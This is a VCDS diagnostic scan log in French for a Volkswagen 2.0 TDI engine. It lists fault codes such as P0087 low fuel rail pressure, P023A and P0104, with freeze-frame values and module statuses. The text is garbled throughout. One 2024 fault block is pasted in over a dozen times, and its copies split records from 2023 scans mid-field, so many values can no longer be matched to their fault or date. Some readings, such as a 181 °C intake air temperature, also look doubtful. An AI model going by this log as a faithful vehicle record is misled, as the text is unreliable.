Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
52-Porte passager -- Etat: Défaut 0010
55-Portée des feux -- Etat: OK 0000
5F-Electr. d'informat. -- Etat: Défaut 0010
A9-Son porté par structure -- Etat: OK 0000
___________________________________________________________________________
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Mardi,16,Mai,2023,12:16:06:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
VCID: 78FF5DE7C3D3424FF3-802C
1 Code défaut trouvé:
13865 - Pompe liquide refroidiss. pour refroidiss. de l'air de suralim.
P023A 00 [039] - Coupure
Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 277304 km
Date: 2023.05.16
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Temps: 12:07:44
Régime moteur: 0.00 /min
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 22 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température air d’admission: 22 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 11.440 V
Compteur de désapprentissage selon OBD: 40
Masse d'air sur le débitmètre d'air massique 1: 0.0 kg/h
Détecteur de temp. extérieure 1 banc 1: valeur brute: 20.5 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température d'air d'admission amont papillon: calculé: 0.0 K
Pompe assist. chauff. 1 b1 circuit rad. air sural.: activ.: 10.00 %
Tests passés: 0 0 0 0 X
___________________________________________________________________________
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Mardi,16,Mai,2023,16:28:22:00009
VCDS -- Logiciel d'émulation de VAG/VAS sous Windows 10 x64
Version VCDS: FRM [Link]
Version données: 20220407 DS338
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
[Link]
Liste des calculateurs installés selon la gateway: 5Q0 907 530 M
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
01-Moteur -- Etat: OK 0000
02-Boite auto -- Etat: OK 0000
03-Freins ABS -- Etat: OK 0000
05-Autor. démarrage -- Etat: OK 0000
08-Climatronic -- Etat: OK 0000
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
09-Centrale Elec. -- Etat: Défaut 0010
10-Assistance stationnt -- Etat: OK 0000
13-Régulation dist. -- Etat: Défaut 0010
15-Airbags -- Etat: OK 0000
16-Volant multifonct. -- Etat: OK 0000
17-Instruments -- Etat: OK 0000
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
19-Gateway CAN -- Etat: Défaut 0010
2B-Verr. Col. Direct. -- Etat: OK 0000
42-Porte conducteur -- Etat: Défaut 0010
44-Direction assistée -- Etat: OK 0000
52-Porte passager -- Etat: Défaut 0010
55-Portée des feux -- Etat: OK 0000
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
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Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
5F-Electr. d'informat. -- Etat: OK 0000
A9-Son porté par structure -- Etat: OK 0000
___________________________________________________________________________
Mardi,16,Mai,2023,19:07:58:00009
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
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Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
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Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
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Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
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Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
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Lundi,09,Septembre,2024,15:47:56:00009
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
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Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
10065 - Débitmètre d´air massique (G70) Aucun signal
P0104 00 [036] - -
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
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Fréquence du défaut: 1
Kilométrage: 277304 km
Date: 2023.05.16
Temps: 17:00:30
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Régime moteur: 1043.50 /min
Valeur de charge normée: 38.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 22 °C
Température air d’admission: 22 °C
Pression de l'air ambiant: 880 mbar
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Tension borne 30: 13.980 V
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 394.9 mg/course
Rapport de flux d'air normalisé: filtré: 1.0641
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.07 %
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Pression de suralimentation de consigne: 1300 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 891.0 hPa
Débit d'injection moyen: 8.35 mg/course
Tests passés: 0 0 0 0 X
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
